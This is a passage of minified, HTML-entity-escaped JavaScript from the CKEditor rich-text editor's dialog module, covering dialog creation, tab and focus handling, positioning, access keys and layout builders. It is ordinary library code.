this._.tabBarMode=!1,this._.currentFocusIndex=-1,m(1),w=1;y(c)}}function y(a){w?a.data.preventDefault(1):v&amp;&amp;a.data.stopPropagation()}var q=CKEDITOR.dialog._.dialogDefinitions[f],A=CKEDITOR.tools.clone(p),t=b.config.dialog_buttonsOrder||&quot;OS&quot;,z=b.lang.dir,u={},w,v;(&quot;OS&quot;==t&amp;&amp;CKEDITOR.env.mac||&quot;rtl&quot;==t&amp;&amp;&quot;ltr&quot;==z||&quot;ltr&quot;==t&amp;&amp;&quot;rtl&quot;==z)&amp;&amp;A.buttons.reverse();q=CKEDITOR.tools.extend(q(b),A);q=CKEDITOR.tools.clone(q);q=new r(this,q);A=k(b);this._={editor:b,element:A.element,name:f,contentSize:{width:0,height:0},
size:{width:0,height:0},contents:{},buttons:{},accessKeyMap:{},tabs:{},tabIdList:[],currentTabId:null,currentTabIndex:null,pageCount:0,lastTab:null,tabBarMode:!1,focusList:[],currentFocusIndex:0,hasFocus:!1};this.parts=A.parts;CKEDITOR.tools.setTimeout(function(){b.fire(&quot;ariaWidget&quot;,this.parts.contents)},0,this);A={position:CKEDITOR.env.ie6Compat?&quot;absolute&quot;:&quot;fixed&quot;,top:0,visibility:&quot;hidden&quot;};A[&quot;rtl&quot;==z?&quot;right&quot;:&quot;left&quot;]=0;this.parts.dialog.setStyles(A);CKEDITOR.event.call(this);this.definition=q=CKEDITOR.fire(&quot;dialogDefinition&quot;,
{name:f,definition:q},b).definition;if(!(&quot;removeDialogTabs&quot;in b._)&amp;&amp;b.config.removeDialogTabs){A=b.config.removeDialogTabs.split(&quot;;&quot;);for(z=0;z&lt;A.length;z++)if(t=A[z].split(&quot;:&quot;),2==t.length){var C=t[0];u[C]||(u[C]=[]);u[C].push(t[1])}b._.removeDialogTabs=u}if(b._.removeDialogTabs&amp;&amp;(u=b._.removeDialogTabs[f]))for(z=0;z&lt;u.length;z++)q.removeContents(u[z]);if(q.onLoad)this.on(&quot;load&quot;,q.onLoad);if(q.onShow)this.on(&quot;show&quot;,q.onShow);if(q.onHide)this.on(&quot;hide&quot;,q.onHide);if(q.onOk)this.on(&quot;ok&quot;,function(a){b.fire(&quot;saveSnapshot&quot;);
setTimeout(function(){b.fire(&quot;saveSnapshot&quot;)},0);!1===q.onOk.call(this,a)&amp;&amp;(a.data.hide=!1)});this.state=CKEDITOR.DIALOG_STATE_IDLE;if(q.onCancel)this.on(&quot;cancel&quot;,function(a){!1===q.onCancel.call(this,a)&amp;&amp;(a.data.hide=!1)});var x=this,B=function(a){var b=x._.contents,c=!1,d;for(d in b)for(var f in b[d])if(c=a.call(this,b[d][f]))return};this.on(&quot;ok&quot;,function(a){B(function(b){if(b.validate){var d=b.validate(this),f=&quot;string&quot;==typeof d||!1===d;f&amp;&amp;(a.data.hide=!1,a.stop());c.call(b,!f,&quot;string&quot;==typeof d?
d:void 0);return f}})},this,null,0);this.on(&quot;cancel&quot;,function(a){B(function(c){if(c.isChanged())return b.config.dialog_noConfirmCancel||confirm(b.lang.common.confirmCancel)||(a.data.hide=!1),!0})},this,null,0);this.parts.close.on(&quot;click&quot;,function(a){!1!==this.fire(&quot;cancel&quot;,{hide:!0}).hide&amp;&amp;this.hide();a.data.preventDefault()},this);this.changeFocus=m;var D=this._.element;b.focusManager.add(D,1);this.on(&quot;show&quot;,function(){D.on(&quot;keydown&quot;,n,this);if(CKEDITOR.env.gecko)D.on(&quot;keypress&quot;,y,this)});this.on(&quot;hide&quot;,
function(){D.removeListener(&quot;keydown&quot;,n);CKEDITOR.env.gecko&amp;&amp;D.removeListener(&quot;keypress&quot;,y);B(function(a){d.apply(a)})});this.on(&quot;iframeAdded&quot;,function(a){(new CKEDITOR.dom.document(a.data.iframe.$.contentWindow.document)).on(&quot;keydown&quot;,n,this,null,0)});this.on(&quot;show&quot;,function(){h();var a=1&lt;x._.pageCount;b.config.dialog_startupFocusTab&amp;&amp;a?(x._.tabBarMode=!0,x._.tabs[x._.currentTabId][0].focus(),x._.currentFocusIndex=-1):this._.hasFocus||(this._.currentFocusIndex=a?-1:this._.focusList.length-1,q.onFocus?
(a=q.onFocus.call(this))&amp;&amp;a.focus():m(1))},this,null,4294967295);if(CKEDITOR.env.ie6Compat)this.on(&quot;load&quot;,function(){var a=this.getElement(),b=a.getFirst();b.remove();b.appendTo(a)},this);l(this);g(this);(new CKEDITOR.dom.text(q.title,CKEDITOR.document)).appendTo(this.parts.title);for(z=0;z&lt;q.contents.length;z++)(u=q.contents[z])&amp;&amp;this.addPage(u);this.parts.tabs.on(&quot;click&quot;,function(a){var b=a.data.getTarget();b.hasClass(&quot;cke_dialog_tab&quot;)&amp;&amp;(b=b.$.id,this.selectPage(b.substring(4,b.lastIndexOf(&quot;_&quot;))),
this._.tabBarMode&amp;&amp;(this._.tabBarMode=!1,this._.currentFocusIndex=-1,m(1)),a.data.preventDefault())},this);z=[];u=CKEDITOR.dialog._.uiElementBuilders.hbox.build(this,{type:&quot;hbox&quot;,className:&quot;cke_dialog_footer_buttons&quot;,widths:[],children:q.buttons},z).getChild();this.parts.footer.setHtml(z.join(&quot;&quot;));for(z=0;z&lt;u.length;z++)this._.buttons[u[z].id]=u[z]};CKEDITOR.dialog.prototype={destroy:function(){this.hide();this._.element.remove()},resize:function(){return function(a,b){this._.contentSize&amp;&amp;this._.contentSize.width==
a&amp;&amp;this._.contentSize.height==b||(CKEDITOR.dialog.fire(&quot;resize&quot;,{dialog:this,width:a,height:b},this._.editor),this.fire(&quot;resize&quot;,{width:a,height:b},this._.editor),this.parts.contents.setStyles({width:a+&quot;px&quot;,height:b+&quot;px&quot;}),&quot;rtl&quot;==this._.editor.lang.dir&amp;&amp;this._.position&amp;&amp;(this._.position.x=CKEDITOR.document.getWindow().getViewPaneSize().width-this._.contentSize.width-parseInt(this._.element.getFirst().getStyle(&quot;right&quot;),10)),this._.contentSize={width:a,height:b})}}(),getSize:function(){var a=this._.element.getFirst();
return{width:a.$.offsetWidth||0,height:a.$.offsetHeight||0}},move:function(a,b,c){var d=this._.element.getFirst(),f=&quot;rtl&quot;==this._.editor.lang.dir,e=&quot;fixed&quot;==d.getComputedStyle(&quot;position&quot;);CKEDITOR.env.ie&amp;&amp;d.setStyle(&quot;zoom&quot;,&quot;100%&quot;);e&amp;&amp;this._.position&amp;&amp;this._.position.x==a&amp;&amp;this._.position.y==b||(this._.position={x:a,y:b},e||(e=CKEDITOR.document.getWindow().getScrollPosition(),a+=e.x,b+=e.y),f&amp;&amp;(e=this.getSize(),a=CKEDITOR.document.getWindow().getViewPaneSize().width-e.width-a),b={top:(0&lt;b?b:0)+&quot;px&quot;},
b[f?&quot;right&quot;:&quot;left&quot;]=(0&lt;a?a:0)+&quot;px&quot;,d.setStyles(b),c&amp;&amp;(this._.moved=1))},getPosition:function(){return CKEDITOR.tools.extend({},this._.position)},show:function(){var a=this._.element,b=this.definition;a.getParent()&amp;&amp;a.getParent().equals(CKEDITOR.document.getBody())?a.setStyle(&quot;display&quot;,&quot;block&quot;):a.appendTo(CKEDITOR.document.getBody());this.resize(this._.contentSize&amp;&amp;this._.contentSize.width||b.width||b.minWidth,this._.contentSize&amp;&amp;this._.contentSize.height||b.height||b.minHeight);this.reset();this.selectPage(this.definition.contents[0].id);
null===CKEDITOR.dialog._.currentZIndex&amp;&amp;(CKEDITOR.dialog._.currentZIndex=this._.editor.config.baseFloatZIndex);this._.element.getFirst().setStyle(&quot;z-index&quot;,CKEDITOR.dialog._.currentZIndex+=10);null===CKEDITOR.dialog._.currentTop?(CKEDITOR.dialog._.currentTop=this,this._.parentDialog=null,v(this._.editor)):(this._.parentDialog=CKEDITOR.dialog._.currentTop,this._.parentDialog.getElement().getFirst().$.style.zIndex-=Math.floor(this._.editor.config.baseFloatZIndex/2),CKEDITOR.dialog._.currentTop=this);
a.on(&quot;keydown&quot;,D);a.on(&quot;keyup&quot;,F);this._.hasFocus=!1;for(var c in b.contents)if(b.contents[c]){var a=b.contents[c],d=this._.tabs[a.id],e=a.requiredContent,g=0;if(d){for(var h in this._.contents[a.id]){var k=this._.contents[a.id][h];&quot;hbox&quot;!=k.type&amp;&amp;&quot;vbox&quot;!=k.type&amp;&amp;k.getInputElement()&amp;&amp;(k.requiredContent&amp;&amp;!this._.editor.activeFilter.check(k.requiredContent)?k.disable():(k.enable(),g++))}!g||e&amp;&amp;!this._.editor.activeFilter.check(e)?d[0].addClass(&quot;cke_dialog_tab_disabled&quot;):d[0].removeClass(&quot;cke_dialog_tab_disabled&quot;)}}CKEDITOR.tools.setTimeout(function(){this.layout();
f(this);this.parts.dialog.setStyle(&quot;visibility&quot;,&quot;&quot;);this.fireOnce(&quot;load&quot;,{});CKEDITOR.ui.fire(&quot;ready&quot;,this);this.fire(&quot;show&quot;,{});this._.editor.fire(&quot;dialogShow&quot;,this);this._.parentDialog||this._.editor.focusManager.lock();this.foreach(function(a){a.setInitValue&amp;&amp;a.setInitValue()})},100,this)},layout:function(){var a=this.parts.dialog,b=this.getSize(),c=CKEDITOR.document.getWindow().getViewPaneSize(),d=(c.width-b.width)/2,f=(c.height-b.height)/2;CKEDITOR.env.ie6Compat||(b.height+(0&lt;f?f:0)&gt;c.height||
b.width+(0&lt;d?d:0)&gt;c.width?a.setStyle(&quot;position&quot;,&quot;absolute&quot;):a.setStyle(&quot;position&quot;,&quot;fixed&quot;));this.move(this._.moved?this._.position.x:d,this._.moved?this._.position.y:f)},foreach:function(a){for(var b in this._.contents)for(var c in this._.contents[b])a.call(this,this._.contents[b][c]);return this},reset:function(){var a=function(a){a.reset&amp;&amp;a.reset(1)};return function(){this.foreach(a);return this}}(),setupContent:function(){var a=arguments;this.foreach(function(b){b.setup&amp;&amp;b.setup.apply(b,a)})},
commitContent:function(){var a=arguments;this.foreach(function(b){CKEDITOR.env.ie&amp;&amp;this._.currentFocusIndex==b.focusIndex&amp;&amp;b.getInputElement().$.blur();b.commit&amp;&amp;b.commit.apply(b,a)})},hide:function(){if(this.parts.dialog.isVisible()){this.fire(&quot;hide&quot;,{});this._.editor.fire(&quot;dialogHide&quot;,this);this.selectPage(this._.tabIdList[0]);var a=this._.element;a.setStyle(&quot;display&quot;,&quot;none&quot;);this.parts.dialog.setStyle(&quot;visibility&quot;,&quot;hidden&quot;);for(I(this);CKEDITOR.dialog._.currentTop!=this;)CKEDITOR.dialog._.currentTop.hide();
if(this._.parentDialog){var b=this._.parentDialog.getElement().getFirst();b.setStyle(&quot;z-index&quot;,parseInt(b.$.style.zIndex,10)+Math.floor(this._.editor.config.baseFloatZIndex/2))}else u(this._.editor);if(CKEDITOR.dialog._.currentTop=this._.parentDialog)CKEDITOR.dialog._.currentZIndex-=10;else{CKEDITOR.dialog._.currentZIndex=null;a.removeListener(&quot;keydown&quot;,D);a.removeListener(&quot;keyup&quot;,F);var c=this._.editor;c.focus();setTimeout(function(){c.focusManager.unlock();CKEDITOR.env.iOS&amp;&amp;c.window.focus()},0)}delete this._.parentDialog;
this.foreach(function(a){a.resetInitValue&amp;&amp;a.resetInitValue()});this.setState(CKEDITOR.DIALOG_STATE_IDLE)}},addPage:function(a){if(!a.requiredContent||this._.editor.filter.check(a.requiredContent)){for(var b=[],c=a.label?&#039; title\x3d&quot;&#039;+CKEDITOR.tools.htmlEncode(a.label)+&#039;&quot;&#039;:&quot;&quot;,d=CKEDITOR.dialog._.uiElementBuilders.vbox.build(this,{type:&quot;vbox&quot;,className:&quot;cke_dialog_page_contents&quot;,children:a.elements,expand:!!a.expand,padding:a.padding,style:a.style||&quot;width: 100%;&quot;},b),f=this._.contents[a.id]={},e=d.getChild(),
g=0;d=e.shift();)d.notAllowed||&quot;hbox&quot;==d.type||&quot;vbox&quot;==d.type||g++,f[d.id]=d,&quot;function&quot;==typeof d.getChild&amp;&amp;e.push.apply(e,d.getChild());g||(a.hidden=!0);b=CKEDITOR.dom.element.createFromHtml(b.join(&quot;&quot;));b.setAttribute(&quot;role&quot;,&quot;tabpanel&quot;);d=CKEDITOR.env;f=&quot;cke_&quot;+a.id+&quot;_&quot;+CKEDITOR.tools.getNextNumber();c=CKEDITOR.dom.element.createFromHtml([&#039;\x3ca class\x3d&quot;cke_dialog_tab&quot;&#039;,0&lt;this._.pageCount?&quot; cke_last&quot;:&quot;cke_first&quot;,c,a.hidden?&#039; style\x3d&quot;display:none&quot;&#039;:&quot;&quot;,&#039; id\x3d&quot;&#039;,f,&#039;&quot;&#039;,d.gecko&amp;&amp;!d.hc?&quot;&quot;:&#039; href\x3d&quot;javascript:void(0)&quot;&#039;,
&#039; tabIndex\x3d&quot;-1&quot; hidefocus\x3d&quot;true&quot; role\x3d&quot;tab&quot;\x3e&#039;,a.label,&quot;\x3c/a\x3e&quot;].join(&quot;&quot;));b.setAttribute(&quot;aria-labelledby&quot;,f);this._.tabs[a.id]=[c,b];this._.tabIdList.push(a.id);!a.hidden&amp;&amp;this._.pageCount++;this._.lastTab=c;this.updateStyle();b.setAttribute(&quot;name&quot;,a.id);b.appendTo(this.parts.contents);c.unselectable();this.parts.tabs.append(c);a.accessKey&amp;&amp;(E(this,this,&quot;CTRL+&quot;+a.accessKey,L,G),this._.accessKeyMap[&quot;CTRL+&quot;+a.accessKey]=a.id)}},selectPage:function(a){if(this._.currentTabId!=a&amp;&amp;!this._.tabs[a][0].hasClass(&quot;cke_dialog_tab_disabled&quot;)&amp;&amp;
!1!==this.fire(&quot;selectPage&quot;,{page:a,currentPage:this._.currentTabId})){for(var c in this._.tabs){var d=this._.tabs[c][0],f=this._.tabs[c][1];c!=a&amp;&amp;(d.removeClass(&quot;cke_dialog_tab_selected&quot;),f.hide());f.setAttribute(&quot;aria-hidden&quot;,c!=a)}var e=this._.tabs[a];e[0].addClass(&quot;cke_dialog_tab_selected&quot;);CKEDITOR.env.ie6Compat||CKEDITOR.env.ie7Compat?(b(e[1]),e[1].show(),setTimeout(function(){b(e[1],1)},0)):e[1].show();this._.currentTabId=a;this._.currentTabIndex=CKEDITOR.tools.indexOf(this._.tabIdList,a)}},
updateStyle:function(){this.parts.dialog[(1===this._.pageCount?&quot;add&quot;:&quot;remove&quot;)+&quot;Class&quot;](&quot;cke_single_page&quot;)},hidePage:function(b){var c=this._.tabs[b]&amp;&amp;this._.tabs[b][0];c&amp;&amp;1!=this._.pageCount&amp;&amp;c.isVisible()&amp;&amp;(b==this._.currentTabId&amp;&amp;this.selectPage(a.call(this)),c.hide(),this._.pageCount--,this.updateStyle())},showPage:function(a){if(a=this._.tabs[a]&amp;&amp;this._.tabs[a][0])a.show(),this._.pageCount++,this.updateStyle()},getElement:function(){return this._.element},getName:function(){return this._.name},
getContentElement:function(a,b){var c=this._.contents[a];return c&amp;&amp;c[b]},getValueOf:function(a,b){return this.getContentElement(a,b).getValue()},setValueOf:function(a,b,c){return this.getContentElement(a,b).setValue(c)},getButton:function(a){return this._.buttons[a]},click:function(a){return this._.buttons[a].click()},disableButton:function(a){return this._.buttons[a].disable()},enableButton:function(a){return this._.buttons[a].enable()},getPageCount:function(){return this._.pageCount},getParentEditor:function(){return this._.editor},
getSelectedElement:function(){return this.getParentEditor().getSelection().getSelectedElement()},addFocusable:function(a,b){if(&quot;undefined&quot;==typeof b)b=this._.focusList.length,this._.focusList.push(new m(this,a,b));else{this._.focusList.splice(b,0,new m(this,a,b));for(var c=b+1;c&lt;this._.focusList.length;c++)this._.focusList[c].focusIndex++}},setState:function(a){if(this.state!=a){this.state=a;if(a==CKEDITOR.DIALOG_STATE_BUSY){if(!this.parts.spinner){var b=this.getParentEditor().lang.dir,c={attributes:{&quot;class&quot;:&quot;cke_dialog_spinner&quot;},
styles:{&quot;float&quot;:&quot;rtl&quot;==b?&quot;right&quot;:&quot;left&quot;}};c.styles[&quot;margin-&quot;+(&quot;rtl&quot;==b?&quot;left&quot;:&quot;right&quot;)]=&quot;8px&quot;;this.parts.spinner=CKEDITOR.document.createElement(&quot;div&quot;,c);this.parts.spinner.setHtml(&quot;\x26#8987;&quot;);this.parts.spinner.appendTo(this.parts.title,1)}this.parts.spinner.show();this.getButton(&quot;ok&quot;).disable()}else a==CKEDITOR.DIALOG_STATE_IDLE&amp;&amp;(this.parts.spinner&amp;&amp;this.parts.spinner.hide(),this.getButton(&quot;ok&quot;).enable());this.fire(&quot;state&quot;,a)}}};CKEDITOR.tools.extend(CKEDITOR.dialog,{add:function(a,b){this._.dialogDefinitions[a]&amp;&amp;
&quot;function&quot;!=typeof b||(this._.dialogDefinitions[a]=b)},exists:function(a){return!!this._.dialogDefinitions[a]},getCurrent:function(){return CKEDITOR.dialog._.currentTop},isTabEnabled:function(a,b,c){a=a.config.removeDialogTabs;return!(a&amp;&amp;a.match(new RegExp(&quot;(?:^|;)&quot;+b+&quot;:&quot;+c+&quot;(?:$|;)&quot;,&quot;i&quot;)))},okButton:function(){var a=function(a,b){b=b||{};return CKEDITOR.tools.extend({id:&quot;ok&quot;,type:&quot;button&quot;,label:a.lang.common.ok,&quot;class&quot;:&quot;cke_dialog_ui_button_ok&quot;,onClick:function(a){a=a.data.dialog;!1!==a.fire(&quot;ok&quot;,
{hide:!0}).hide&amp;&amp;a.hide()}},b,!0)};a.type=&quot;button&quot;;a.override=function(b){return CKEDITOR.tools.extend(function(c){return a(c,b)},{type:&quot;button&quot;},!0)};return a}(),cancelButton:function(){var a=function(a,b){b=b||{};return CKEDITOR.tools.extend({id:&quot;cancel&quot;,type:&quot;button&quot;,label:a.lang.common.cancel,&quot;class&quot;:&quot;cke_dialog_ui_button_cancel&quot;,onClick:function(a){a=a.data.dialog;!1!==a.fire(&quot;cancel&quot;,{hide:!0}).hide&amp;&amp;a.hide()}},b,!0)};a.type=&quot;button&quot;;a.override=function(b){return CKEDITOR.tools.extend(function(c){return a(c,
b)},{type:&quot;button&quot;},!0)};return a}(),addUIElement:function(a,b){this._.uiElementBuilders[a]=b}});CKEDITOR.dialog._={uiElementBuilders:{},dialogDefinitions:{},currentTop:null,currentZIndex:null};CKEDITOR.event.implementOn(CKEDITOR.dialog);CKEDITOR.event.implementOn(CKEDITOR.dialog.prototype);var p={resizable:CKEDITOR.DIALOG_RESIZE_BOTH,minWidth:600,minHeight:400,buttons:[CKEDITOR.dialog.okButton,CKEDITOR.dialog.cancelButton]},y=function(a,b,c){for(var d=0,f;f=a[d];d++)if(f.id==b||c&amp;&amp;f[c]&amp;&amp;(f=y(f[c],
b,c)))return f;return null},A=function(a,b,c,d,f){if(c){for(var e=0,g;g=a[e];e++){if(g.id==c)return a.splice(e,0,b),b;if(d&amp;&amp;g[d]&amp;&amp;(g=A(g[d],b,c,d,!0)))return g}if(f)return null}a.push(b);return b},z=function(a,b,c){for(var d=0,f;f=a[d];d++){if(f.id==b)return a.splice(d,1);if(c&amp;&amp;f[c]&amp;&amp;(f=z(f[c],b,c)))return f}return null},r=function(a,b){this.dialog=a;for(var c=b.contents,d=0,f;f=c[d];d++)c[d]=f&amp;&amp;new h(a,f);CKEDITOR.tools.extend(this,b)};r.prototype={getContents:function(a){return y(this.contents,
a)},getButton:function(a){return y(this.buttons,a)},addContents:function(a,b){return A(this.contents,a,b)},addButton:function(a,b){return A(this.buttons,a,b)},removeContents:function(a){z(this.contents,a)},removeButton:function(a){z(this.buttons,a)}};h.prototype={get:function(a){return y(this.elements,a,&quot;children&quot;)},add:function(a,b){return A(this.elements,a,b,&quot;children&quot;)},remove:function(a){z(this.elements,a,&quot;children&quot;)}};var w,C={},x,B={},D=function(a){var b=a.data.$.ctrlKey||a.data.$.metaKey,c=
a.data.$.altKey,d=a.data.$.shiftKey,f=String.fromCharCode(a.data.$.keyCode);(b=B[(b?&quot;CTRL+&quot;:&quot;&quot;)+(c?&quot;ALT+&quot;:&quot;&quot;)+(d?&quot;SHIFT+&quot;:&quot;&quot;)+f])&amp;&amp;b.length&amp;&amp;(b=b[b.length-1],b.keydown&amp;&amp;b.keydown.call(b.uiElement,b.dialog,b.key),a.data.preventDefault())},F=function(a){var b=a.data.$.ctrlKey||a.data.$.metaKey,c=a.data.$.altKey,d=a.data.$.shiftKey,f=String.fromCharCode(a.data.$.keyCode);(b=B[(b?&quot;CTRL+&quot;:&quot;&quot;)+(c?&quot;ALT+&quot;:&quot;&quot;)+(d?&quot;SHIFT+&quot;:&quot;&quot;)+f])&amp;&amp;b.length&amp;&amp;(b=b[b.length-1],b.keyup&amp;&amp;(b.keyup.call(b.uiElement,b.dialog,b.key),
a.data.preventDefault()))},E=function(a,b,c,d,f){(B[c]||(B[c]=[])).push({uiElement:a,dialog:b,key:c,keyup:f||a.accessKeyUp,keydown:d||a.accessKeyDown})},I=function(a){for(var b in B){for(var c=B[b],d=c.length-1;0&lt;=d;d--)c[d].dialog!=a&amp;&amp;c[d].uiElement!=a||c.splice(d,1);0===c.length&amp;&amp;delete B[b]}},G=function(a,b){a._.accessKeyMap[b]&amp;&amp;a.selectPage(a._.accessKeyMap[b])},L=function(){};(function(){CKEDITOR.ui.dialog={uiElement:function(a,b,c,d,f,e,g){if(!(4&gt;arguments.length)){var h=(d.call?d(b):d)||&quot;div&quot;,
k=[&quot;\x3c&quot;,h,&quot; &quot;],l=(f&amp;&amp;f.call?f(b):f)||{},m=(e&amp;&amp;e.call?e(b):e)||{},n=(g&amp;&amp;g.call?g.call(this,a,b):g)||&quot;&quot;,p=this.domId=m.id||CKEDITOR.tools.getNextId()+&quot;_uiElement&quot;;b.requiredContent&amp;&amp;!a.getParentEditor().filter.check(b.requiredContent)&amp;&amp;(l.display=&quot;none&quot;,this.notAllowed=!0);m.id=p;var q={};b.type&amp;&amp;(q[&quot;cke_dialog_ui_&quot;+b.type]=1);b.className&amp;&amp;(q[b.className]=1);b.disabled&amp;&amp;(q.cke_disabled=1);for(var y=m[&quot;class&quot;]&amp;&amp;m[&quot;class&quot;].split?m[&quot;class&quot;].split(&quot; &quot;):[],p=0;p&lt;y.length;p++)y[p]&amp;&amp;(q[y[p]]=1);y=[];for(p in q)y.push(p);
m[&quot;class&quot;]=y.join(&quot; &quot;);b.title&amp;&amp;(m.title=b.title);q=(b.style||&quot;&quot;).split(&quot;;&quot;);b.align&amp;&amp;(y=b.align,l[&quot;margin-left&quot;]=&quot;left&quot;==y?0:&quot;auto&quot;,l[&quot;margin-right&quot;]=&quot;right&quot;==y?0:&quot;auto&quot;);for(p in l)q.push(p+&quot;:&quot;+l[p]);b.hidden&amp;&amp;q.push(&quot;display:none&quot;);for(p=q.length-1;0&lt;=p;p--)&quot;&quot;===q[p]&amp;&amp;q.splice(p,1);0&lt;q.length&amp;&amp;(m.style=(m.style?m.style+&quot;; &quot;:&quot;&quot;)+q.join(&quot;; &quot;));for(p in m)k.push(p+&#039;\x3d&quot;&#039;+CKEDITOR.tools.htmlEncode(m[p])+&#039;&quot; &#039;);k.push(&quot;\x3e&quot;,n,&quot;\x3c/&quot;,h,&quot;\x3e&quot;);c.push(k.join(&quot;&quot;));(this._||(this._={})).dialog=a;&quot;boolean&quot;==
typeof b.isChanged&amp;&amp;(this.isChanged=function(){return b.isChanged});&quot;function&quot;==typeof b.isChanged&amp;&amp;(this.isChanged=b.isChanged);&quot;function&quot;==typeof b.setValue&amp;&amp;(this.setValue=CKEDITOR.tools.override(this.setValue,function(a){return function(c){a.call(this,b.setValue.call(this,c))}}));&quot;function&quot;==typeof b.getValue&amp;&amp;(this.getValue=CKEDITOR.tools.override(this.getValue,function(a){return function(){return b.getValue.call(this,a.call(this))}}));CKEDITOR.event.implementOn(this);this.registerEvents(b);
this.accessKeyUp&amp;&amp;this.accessKeyDown&amp;&amp;b.accessKey&amp;&amp;E(this,a,&quot;CTRL+&quot;+b.accessKey);var A=this;a.on(&quot;load&quot;,function(){var b=A.getInputElement();if(b){var c=A.type in{checkbox:1,ratio:1}&amp;&amp;CKEDITOR.env.ie&amp;&amp;8&gt;CKEDITOR.env.version?&quot;cke_dialog_ui_focused&quot;:&quot;&quot;;b.on(&quot;focus&quot;,function(){a._.tabBarMode=!1;a._.hasFocus=!0;A.fire(&quot;focus&quot;);c&amp;&amp;this.addClass(c)});b.on(&quot;blur&quot;,function(){A.fire(&quot;blur&quot;);c&amp;&amp;this.removeClass(c)})}});CKEDITOR.tools.extend(this,b);this.keyboardFocusable&amp;&amp;(this.tabIndex=b.tabIndex||0,this.focusIndex=
a._.focusList.push(this)-1,this.on(&quot;focus&quot;,function(){a._.currentFocusIndex=A.focusIndex}))}},hbox:function(a,b,c,d,f){if(!(4&gt;arguments.length)){this._||(this._={});var e=this._.children=b,g=f&amp;&amp;f.widths||null,h=f&amp;&amp;f.height||null,k,l={role:&quot;presentation&quot;};f&amp;&amp;f.align&amp;&amp;(l.align=f.align);CKEDITOR.ui.dialog.uiElement.call(this,a,f||{type:&quot;hbox&quot;},d,&quot;table&quot;,{},l,function(){var a=[&#039;\x3ctbody\x3e\x3ctr class\x3d&quot;cke_dialog_ui_hbox&quot;\x3e&#039;];for(k=0;k&lt;c.length;k++){var b=&quot;cke_dialog_ui_hbox_child&quot;,d=[];0===k&amp;&amp;
(b=&quot;cke_dialog_ui_hbox_first&quot;);k==c.length-1&amp;&amp;(b=&quot;cke_dialog_ui_hbox_last&quot;);a.push(&#039;\x3ctd class\x3d&quot;&#039;,b,&#039;&quot; role\x3d&quot;presentation&quot; &#039;);g?g[k]&amp;&amp;d.push(&quot;width:&quot;+q(g[k])):d.push(&quot;width:&quot;+Math.floor(100/c.length)+&quot;%&quot;);h&amp;&amp;d.push(&quot;height:&quot;+q(h));f&amp;&amp;void 0!==f.padding&amp;&amp;d.push(&quot;padding:&quot;+q(f.padding));CKEDITOR.env.ie&amp;&amp;CKEDITOR.env.quirks&amp;&amp;e[k].align&amp;&amp;d.push(&quot;text-align:&quot;+e[k].align);0&lt;d.length&amp;&amp;a.push(&#039;style\x3d&quot;&#039;+d.join(&quot;; &quot;)+&#039;&quot; &#039;);a.push(&quot;\x3e&quot;,c[k],&quot;\x3c/td\x3e&quot;)}a.push(&quot;\x3c/tr\x3e\x3c/tbody\x3e&quot;);return a.join(&quot;&quot;)})}},
vbox:function(a,b,c,d,f){if(!(3&gt;arguments.length)){this._||(this._={});var e=this._.children=b,g=f&amp;&amp;f.width||null,h=f&amp;&amp;f.heights||null;CKEDITOR.ui.dialog.uiElement.call(this,a,f||{type:&quot;vbox&quot;},d,&quot;div&quot;,null,{role:&quot;presentation&quot;},function(){var b=[&#039;\x3ctable role\x3d&quot;presentation&quot; cellspacing\x3d&quot;0&quot; border\x3d&quot;0&quot; &#039;];b.push(&#039;style\x3d&quot;&#039;);f&amp;&amp;f.expand&amp;&amp;b.push(&quot;height:100%;&quot;);b.push(&quot;width:&quot;+q(g||&quot;100%&quot;),&quot;;&quot;);CKEDITOR.env.webkit&amp;&amp;b.push(&quot;float:none;&quot;);b.push(&#039;&quot;&#039;);b.push(&#039;align\x3d&quot;&#039;,CKEDITOR.tools.htmlEncode(f&amp;&amp;
f.align||(&quot;ltr&quot;==a.getParentEditor().lang.dir?&quot;left&quot;:&quot;right&quot;)),&#039;&quot; &#039;);b.push(&quot;\x3e\x3ctbody\x3e&quot;);for(var d=0;d&lt;c.length;d++){var k=[];b.push(&#039;\x3ctr\x3e\x3ctd role\x3d&quot;presentation&quot; &#039;);g&amp;&amp;k.push(&quot;width:&quot;+q(g||&quot;100%&quot;));h?k.push(&quot;height:&quot;+q(h[d])):f&amp;&amp;f.expand&amp;&amp;k.push(&quot;height:&quot;+Math.floor(100/c.length)+&quot;%&quot;);f&amp;&amp;void 0!==f.padding&amp;&amp;k.push(&quot;padding:&quot;+q(f.padding));CKEDITOR.env.ie&amp;&amp;CKEDITOR.env.quirks&amp;&amp;e[d].align&amp;&amp;k.push(&quot;text-align:&quot;+e[d].align);0&lt;k.length&amp;&amp;b.push(&#039;style\x3d&quot;&#039;,k.join(&quot;; &quot;),&#039;&quot; &#039;);b.push(&#039; class\x3d&quot;cke_dialog_ui_vbox_child&quot;\x3e&#039;,
c[d],&quot;\x3c/td\x3e\x3c/tr\x3e&quot;)}b.push(&quot;\x3c/tbody\x3e\x3c/table\x3e&quot;);return b.join(&quot;&quot;)})}}}})();CKEDITOR.ui.dialog.uiElement.prototype={getElement:function(){return CKEDITOR.document.getById(this.domId)},getInputElement:function(){return this.getElement()},getDialog:function(){return this._.dialog},setValue:function(a,b){this.getInputElement().setValue(a);!b&amp;&amp;this.fire(&quot;change&quot;,{value:a});return this},getValue:function(){return this.getInputElement().getValue()},isChanged:function(){return!1},selectParentTab:function(){for(var a=
this.getInputElement();(a=a.getParent())&amp;&amp;-1==a.$.className.search(&quot;cke_dialog_page_contents&quot;););if(!a)return this;a=a.getAttribute(&quot;name&quot;);this._.dialog._.currentTabId!=a&amp;&amp;this._.dialog.selectPage(a);return this},focus:function(){this.selectParentTab().getInputElement().focus();return this},registerEvents:function(a){var b=/^on([A-Z]\w+)/,c,d=function(a,b,c,d){b.on(&quot;load&quot;,function(){a.getInputElement().on(c,d,a)})},f;for(f in a)if(c=f.match(b))this.eventProcessors[f]?this.eventProcessors[f].call(this,
this._.dialog,a[f]):d(this,this._.dialog,c[1].toLowerCase(),a[f]);return this},eventProcessors:{onLoad:function(a,b){a.on(&quot;load&quot;,b,this)},onShow:function(a,b){a.on(&quot;show&quot;,b,this)},onHide:function(a,b){a.on(&quot;hide&quot;,b,this)}},accessKeyDown:function(){this.focus()},accessKeyUp:function(){},disable:function(){var a=this.getElement();this.getInputElement().setAttribute(&quot;disabled&quot;,&quot;true&quot;);a.addClass(&quot;cke_disabled&quot;)},enable:function(){var a=this.getElement();this.getInputElement().removeAttribute(&quot;disabled&quot;);
